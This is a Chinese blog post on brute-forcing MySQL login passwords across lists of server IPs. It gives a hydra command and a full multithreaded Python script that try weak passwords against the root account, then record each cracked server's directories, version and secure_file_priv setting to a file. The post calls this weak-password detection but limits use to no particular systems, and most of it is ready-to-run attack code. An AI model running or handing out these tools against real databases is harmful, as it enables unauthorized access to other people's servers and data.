WEB渗透与网络安全

爆破mysql口令

2020-02-29  本文已影响0人  sunnnnnnnnnny

如何自动化检测Mysql的弱口令,这里介绍介绍两种方式。

一、hydra

hydra是一个口令爆破工具,kali系统自带。
hydra的使用帮助

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]

Options:
  -R        restore a previous aborted/crashed session
  -I        ignore an existing restore file (don't wait 10 seconds)
  -S        perform an SSL connect
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
  -y        disable use of symbols in bruteforce, see above
  -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
  -u        loop around users, not passwords (effective! implied with -x)
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify port
  -o FILE   write found login/password pairs to FILE instead of stdout
  -b FORMAT specify the format for the -o FILE: text(default), json, jsonv1
  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
  -t TASKS  run TASKS number of connects in parallel per target (default: 16)
  -T TASKS  run TASKS connects in parallel overall (for -M, default: 64)
  -w / -W TIME  wait time for a response (32) / between connects per thread (0)
  -c TIME   wait time per login attempt over all threads (enforces -t 1)
  -4 / -6   use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode 
  -O        use old SSL v2 and v3
  -q        do not print messages about connection errors
  -U        service module usage details
  -h        more command line options (COMPLETE HELP)
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
v3.0. The newest version is always available at https://github.com/vanhauser-thc/thc-hydra
Don't use in military or secret service organizations, or for illegal purposes.
These services were not compiled in: afp ncp oracle sapr3.

Use HYDRA_PROXY_HTTP or HYDRA_PROXY environment variables for a proxy setup.
E.g. % export HYDRA_PROXY=socks5://l:p@127.0.0.1:9150 (or: socks4:// connect://)
     % export HYDRA_PROXY=connect_and_socks_proxylist.txt  (up to 64 entries)
     % export HYDRA_PROXY_HTTP=http://login:pass@proxy:8080
     % export HYDRA_PROXY_HTTP=proxylist.txt  (up to 64 entries)

Examples:
  hydra -l user -P passlist.txt ftp://192.168.0.1
  hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
  hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
  hydra -l admin -p password ftp://[192.168.0.0/24]/
  hydra -L logins.txt -P pws.txt -M targets.txt ssh

常用爆破字典可使用kali自带的/usr/share/wordlists/
或者参考https://gitee.com/molok/Blasting_dictionary
使用下面的命令爆破mysql数据库,其中3306_ips. txt为mysql 服务器的ip地址列表,user. txt和password. txt为用户和口令的字典。-q表示不输出错误信息,-f表示每个ip爆破出一个正确口令就终止爆破,-o表示将结果保存在文件中。

 hydra -L user.txt -P password.txt -M 3306_ips.txt -o hack_result.txt -q -f mysql

结果


hydra爆破mysql数据库结果

可参考 https://www.jianshu.com/p/4da49f179cee

二、使用python爆破mysql

使用Python的mysql客户端连接mysql进行爆破
python 连接mysql数据库可参考https://www.liaoxuefeng.com/wiki/897692888725344/932709047411488
代码如下
brute_mysql.py

#-*- coding:utf-8 -*-
# author:wlj
# time:2020/2/29 22:20
# 使用python对mysql数据库口令进行爆破
import mysql.connector
import threading
import queue

task_queue = queue.Queue()
#口令字典
weak_pwd_list = ['root','123456','12345','mysql','111111','12345678']
#互斥量,用于控制线程对task_queue变量的访问
threadLock = threading.Lock()

def test(ip):
    for password in weak_pwd_list:
        try:
            conn = mysql.connector.connect(host=ip,user='root',password=password,database='mysql',port=3306) #连接数据库
            cursor = conn.cursor()
            sql = 'SELECT @@global.basedir,@@global.general_log_file,@@global.version,@@global.version_compile_os,@@global.secure_file_priv;'
            cursor.execute(sql)
            basedir,general_log_file,version,version_compile_os,secure_file_priv = [str(x) for x in cursor.fetchone()]
            #print(basedir,general_log_file,version,version_compile_os,secure_file_priv)
            cursor.close()#关闭数据库
            conn.close()
            print('%s,%s,%s'%(ip,'root',password))
            formart_str = '%s,'*8+'\n'
            #将结果存入文件
            open('mysql_weak_pwd.csv','a').write(formart_str%(ip,'root',password,basedir,general_log_file,version,version_compile_os,secure_file_priv))
            return 
        except Exception as e:
            continue

def brute_mysql():
    global task_queue
    while True:
        # 获取锁,用于线程同步
        threadLock.acquire()
        if task_queue.empty():
            threadLock.release()
            return
        ip = task_queue.get()
        threadLock.release()
        test(ip)

def main():
    ip_list =  open('3306_ips.txt','r').read().split('\n')

    open('mysql_weak_pwd.csv','w').write('ip,user,password,basedir,general_log_file,version,version_compile_os,secure_file_priv\n')
    for ip in ip_list:
        ip = ip.strip()
        if ip:
            task_queue.put(ip)
    threads = []
    for i in range(0,200):
        t = threading.Thread(target=brute_mysql)
        t.start()
        threads.append(t)
    for t in threads:
        t.join()

main()

结果


python扫描结果
上一篇 下一篇

猜你喜欢

热点阅读